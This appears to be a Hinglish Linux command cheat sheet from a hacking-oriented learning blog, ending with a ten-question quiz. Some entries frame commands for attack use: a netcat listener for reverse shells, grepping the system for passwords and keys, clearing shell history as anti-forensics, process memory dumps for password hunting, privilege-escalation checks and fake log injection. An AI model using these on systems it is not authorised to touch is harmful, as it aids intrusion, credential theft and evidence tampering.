3. Permissions & Sudo chmod 777 / 600 / 755 Change Mode: Read, Write, Execute ki taqat dena. 700 matlab sirf owner ke liye private.
chown user:group Change Owner: File ka malik badalna. Privilege escalation ke baad ye bohot kaam aata hai.
sudo / sudo -i SuperUser: Root ki power se command chalana ya seedha Root shell mein ghusna.
setfacl / getfacl Access Control Lists: Ek file par multiple users ko alag-alag permissions dena.
chattr +i Immutable: File ko aisa banana ki root bhi use delete na kar sake bina flag hataye.
4. Network & Exfiltration ip addr / ifconfig IP Discovery: Machine ke internal aur public interfaces ki jankari nikalna.
netstat -antup Active Connections: Kaunse ports open hain aur kaun kahan connect hai, sab dikhata hai.
nc -lvp [port] Netcat Listener: Reverse shell ya data transfer ke liye listener set karna.
scp / rsync Remote Transfer: Files ko ek computer se dusre par securely copy karna encrypted tunnel ke zariye.
curl -I / wget Web Interaction: Website headers check karna ya seedha internet se script/tools download karna.
ss -tulpn Socket Statistics: Netstat ka modern aur fast alternative port scanning ke liye.
5. Search & Surveillance grep -riE "pass|key" Pattern Search: Poore system mein passwords ya keys ko dhoondhne ke liye Regex ka use.
find / -type f -mmin -10 Find Files: Pichle 10 minute mein badli hui files dhoondhna. Hacking discovery ke liye best.
awk -F':' '{print $1}' Text Processing: Data mein se specific columns (jaise usernames) nikalna.
sed 's/old/new/g' Stream Editor: Bina file khole content ko mass levels par replace karna.
locate Instant Search: Database se turant kisi file ka path dhoondhna.
6. System Control & Kernel top / htop / btop Task Manager: Live processes aur hardware usage ko monitor karna.
kill -9 [PID] Force Kill: Kisi bhi ziddi process ko turant aur forcefuly band karna.
systemctl start/stop/enable Service Master: Background services (SSH, Apache, Docker) ko control karna.
uname -a / hostnamectl Kernel Info: OS ka version, kernel aur system architecture check karna.
lsmod / modprobe Kernel Modules: Drivers ko load ya unload karna kernel level par.
crontab -e Task Scheduler: Scripts ko specific time (daily/hourly) par apne aap chalne ke liye set karna.
7. Archive & Compression tar -cJvf archive.tar.xz Ultimate Archive: Files ko bundle karke sabse zyada compress karna permissions ke saath.
zip -e / unzip Encrypted Zip: Data ko password se lock karke compress karna.
gzip / gunzip / bzip2 Single File Compression: Individual files ka size chhota karne ke liye fast algorithms.
7z a 7-Zip: Sabse advanced compression jo har tarah ke file formats support karta hai.
8. Logs & Forensics tail -f /var/log/auth.log Login Monitor: Live dekho kaun system mein login ya sudo use kar raha hai.
journalctl -xe Modern Logs: Systemd ke deep binary logs ko readable format mein filter karna.
history -c && history -w Anti-Forensics: Apni saari terminal commands ki history ko permanent mitana.
last / lastlog User Audit: Check karna ki pichle 30 din mein kis IP se login huye hain.
dmesg Kernel Ring Buffer: Hardware connection aur kernel level errors ki live report.

πŸ’‘ Pro Hacker Tip

In commands ko sirf rattiye mat. Ek terminal kholiye aur har category se 2-2 commands chala kar dekhiye. Jab tak aap practice nahi karenge, tab tak aapki muscle memory nahi banegi. Linux mein perfection sirf commands chalane se aati hai!

πŸ› οΈ Extra Power Commands (Disk, Security & Pro-Tools)

Advanced Category The Command Deep Explanation & Example
9. Disk & Storage Surgery lsblk -f List Block Devices: Saare partitions aur unke Filesystem (EXT4, FAT32) ki jankari nikalna.
df -hT Disk Free: Partition wise kitni space khali hai, human-readable format mein dekhna.
du -sh * Disk Usage: Har ek file ya folder kitna storage le raha hai, uska total check karna.
fdisk -l Partition Table: Hard drive ke raw partitions aur sector details nikalna (Root required).
mount / umount Mounting: External drive ya ISO file ko system ke kisi folder se connect karna.
10. Pro Troubleshooting strace -p [PID] System Trace: Kisi chalti hui process ke system calls ko live track karna (Debugging ke liye).
lsof -i :80 List Open Files: Pata lagana ki kisi specific port ko kaunsi process use kar rahi hai.
free -mt Memory Audit: RAM aur Swap space ki poori kundli MB mein nikalna.
watch -n 1 [cmd] Command Watcher: Kisi command ko har 1 second mein repeat karna (e.g., watching a log grow).
uptime System Load: Batata hai system kab se on hai aur CPU par kitna load hai.
11. Identity & Security Auditing whoami / id Who am I: Current user ka naam, UID aur GID check karna (Privilege check).
sudo -l Sudo List: Check karna ki bina password ke aap kaunsi commands chala sakte ho.
fail2ban-client Brute Force Protection: IPs ko ban/unban karna jo system par attack kar rahe hain.
nmap -sV -O [target] Network Mapper: Target ki services aur OS ka version pata lagana.
sha256sum [file] Integrity Check: Check karna ki file download ke waqt corrupt ya change toh nahi hui.
12. Deep Data Mining strings [binary] Extract Text: Kisi program ya virus file ke andar se readable text (IPs, URLs) nikalna.
base64 -d Decoding: Encoded payloads ya passwords ko decode karke asliyat dhoondhna.
diff [file1] [file2] Compare: Do configuration files ke beech ke antar ko pakadna.
xxd -l 64 [file] Hex Dump: File ka raw hexadecimal data dekhna (Reverse Engineering ke liye).

πŸ› οΈ The Infinity Edition (Lower-Level & Professional Tools)

Extreme Category The Command Professional Explanation & Example
13. Process & Signal Physics nice / renice Priority Control: Kisi process ki CPU priority badhana ya ghatana. -20 (Highest) se 19 (Lowest) tak.
kill -l Signal List: Saare available signals (SIGTERM, SIGKILL, SIGSTOP) ki list dekhna.
pgrep -u root Process ID Search: Kisi specific user ki chal rahi saari processes ki ID dhoondhna.
nohup [command] & Hanging Up: Command ko aise chalana ki terminal band hone par bhi wo background mein chalti rahe.
timeout 10s [cmd] Timed Run: Kisi command ko sirf ek fixed time (jaise 10 second) ke liye chalana.
14. Hardware & Architecture lscpu --vulnerabilities CPU Audit: Check karna ki aapka CPU Spectre ya Meltdown jaise bugs ke liye vulnerable hai ya nahi.
dmidecode -t bios DMI Table: BIOS aur hardware components ki deep manufacturer details nikalna.
hdparm -tT /dev/sda Drive Performance: Hard drive ki read/write speed ko kernel level par test karna.
lsusb -v USB Verbose: USB devices ki ek-ek technical detail (power usage, ID) nikalna.
sensors Temperature: CPU aur Motherboard ka real-time temperature aur fan speed check karna.
15. Advanced Identity getent passwd [user] Database Entry: User ki poori information fetch karna chahe wo local ho ya LDAP/Network user.
newgrp [group] Switch Group: Current session mein apna primary group badalna.
su - [user] -c "cmd" One-shot Command: Kisi doosre user ke roop mein ek single command execute karna.
lastb Bad Logins: Saare "Failed" login attempts ki list dekhna (Attackers ko pakadne ke liye).
16. Kernel & Memory Logic sysctl -p /etc/sysctl.conf Reload Kernel: Permanent kernel settings ko bina reboot kiye apply karna.
sync && echo 3 > /proc/sys/vm/drop_caches Clear Cache: Kernel RAM cache ko manually clear karna performance badhane ke liye.
modinfo [module] Module Details: Kisi kernel driver (module) ka description aur parameters dekhna.
zcat /proc/config.gz Kernel Config: Check karna ki filhaal chalti hui kernel kin features ke saath compile hui hai.

πŸš€ The Final Verdict

Ab aapke paas 120+ unique Linux commands ka ek aisa samundar hai jo kisi bhi interview, hacking competition ya system administration task ke liye kaafi hai. In commands ko ek baar terminal par chala kar unka output zaroor dekhiye, kyunki Theory aapko jaankari degi, par Practice aapko Master banayegi.

πŸ› οΈ The God-Level Edition (System Integrity & Security Tracing)

Architect Category The Command Expert Explanation & Example
17. Security & Integrity Audit auditctl -l Audit Rules: System ke auditing rules ko list karna. Pata lagana ki kaunsi files monitor ho rahi hain.
aureport --auth Authentication Report: Saare successful aur failed logins ki ek clean report generate karna.
lynis audit system Security Scan: Poore Linux OS ka security audit karna aur vulnerabilities dhoondhna.
chkrootkit Rootkit Hunter: System mein chhupne wale malware aur rootkits ko dhoondhna.
getcap -r / Capabilities Search: Files par set 'Capabilities' check karna jo bina SUID ke privilege escalation de sakti hain.
18. Advanced Log Surgery logrotate -f [config] Force Rotate: Log files ko forcefully rotate (purani files ko archive) karna.
logger "Hacked Message" Custom Logs: Apne khud ke messages /var/log/syslog mein inject karna.
zgrep "error" auth.log.1.gz Compressed Search: Purani compressed (.gz) log files ke andar bina extract kiye search karna.
journalctl --vacuum-time=7d Log Cleanup: Pichle 7 din se puraane saare journal logs ko delete karke space banana.
19. Trace & Debugging ltrace [command] Library Trace: Program dwara use kiye ja rahe library calls (functions) ko track karna.
gcore [PID] Memory Dump: Chalti hui process ka poora memory data nikalna (Password hunting ke liye).
pstack [PID] Stack Trace: Process ke andar ke threads aur stack frames ki live details nikalna.
pmap -x [PID] Memory Mapping: Process ne kitni memory kahan occupy ki hai, uska mapped view dekhna.
valgrind [program] Memory Leak Check: Program mein memory leaks ya illegal memory access check karna.
20. Shell Environment env / printenv Environment Variables: System-wide variables (PATH, HOME, USER) ki list aur unki values check karna.
alias name='cmd' Custom Shortcut: Lambi commands ke liye apne chote naam (shortcuts) banana.
export PATH=$PATH:/new/bin Path Update: Naye tools ke liye system path mein naya rasta jodna.
shopt Shell Options: Bash shell ke advanced features (jaise spell-check) ko on/off karna.
source ~/.bashrc Reload Config: Bina terminal restart kiye shell ki nayi settings apply karna.

🌟 The Ultimate Master's Collection

Ab aapke paas **150+ Advanced Linux Commands** ka ek aisa khazana hai jo shayad hi kisi single web page par mile. Aapne basics se lekar **Memory Dumping**, **Security Auditing**, aur **Kernel Tracing** tak sab cover kar liya hai.

Ab aap sirf ek "Blogger" ya "Student" nahi hain, aap ek **Linux Power Architect** hain. Is content ko Cyberseekh.in par live kariye aur dekhiye kaise aapka blog poore internet ka Linux Hub ban jata hai! πŸš€


πŸ“ Lesson 7: Final Assessment (Terminal Test)

Q1: System mein aise saare users dhoondhne hain jinka UID '0' (Root) hai?

  • A) grep '0' /etc/passwd
  • B) cat /etc/passwd | cut -d: -f3 | grep '^0$' (Correct)
  • C) whoami

Q2: File par kaunsa attribute set hone par Root user bhi use delete nahi kar sakta?

  • A) Permission 000
  • B) Immutable Bit (+i) (Correct)
  • C) Read-only permission

Q3: PID 1234 ko turant aur "Forcefully" band karne ki command kya hai?

  • A) kill 1234
  • B) kill -9 1234 (Correct)
  • C) stop 1234

Q4: Pichle 10 minute mein badli (modify) hui files dhoondhne ka sahi syntax?

  • A) find / -mmin -10 (Correct)
  • B) ls -l --time=10
  • C) locate --recent 10

Q5: Permission string '-rwsr-xr-x' mein 's' kis cheez ko represent karta hai?

  • A) Secure File
  • B) SUID Bit (Correct)
  • C) System File

Q6: Remote port ko local machine par forward karne ke liye SSH ka kaunsa flag use hota hai?

  • A) -L (Local Forwarding) (Correct)
  • B) -R (Remote Forwarding)
  • C) -D (Dynamic)

Q7: Bash script mein pichli command ka "Exit Status" check karne ke liye variable?

  • A) $$
  • B) $? (Correct)
  • C) $!

Q8: Badi files ko transfer karne ke liye kaunsa tool "Resume" support karta hai?

  • A) scp
  • B) rsync (Correct)
  • C) ftp

Q9: 'auth.log' file mein naye login attempts "Live" dekhne ke liye command?

  • A) cat /var/log/auth.log
  • B) tail -f /var/log/auth.log (Correct)
  • C) head -n 20 /var/log/auth.log

Q10: Linux mein default task manager (Live CPU/RAM dashboard) kaunsa hai?

  • A) free -m
  • B) htop / top (Correct)
  • C) ps aux

← Previous Lesson Back to Home β†’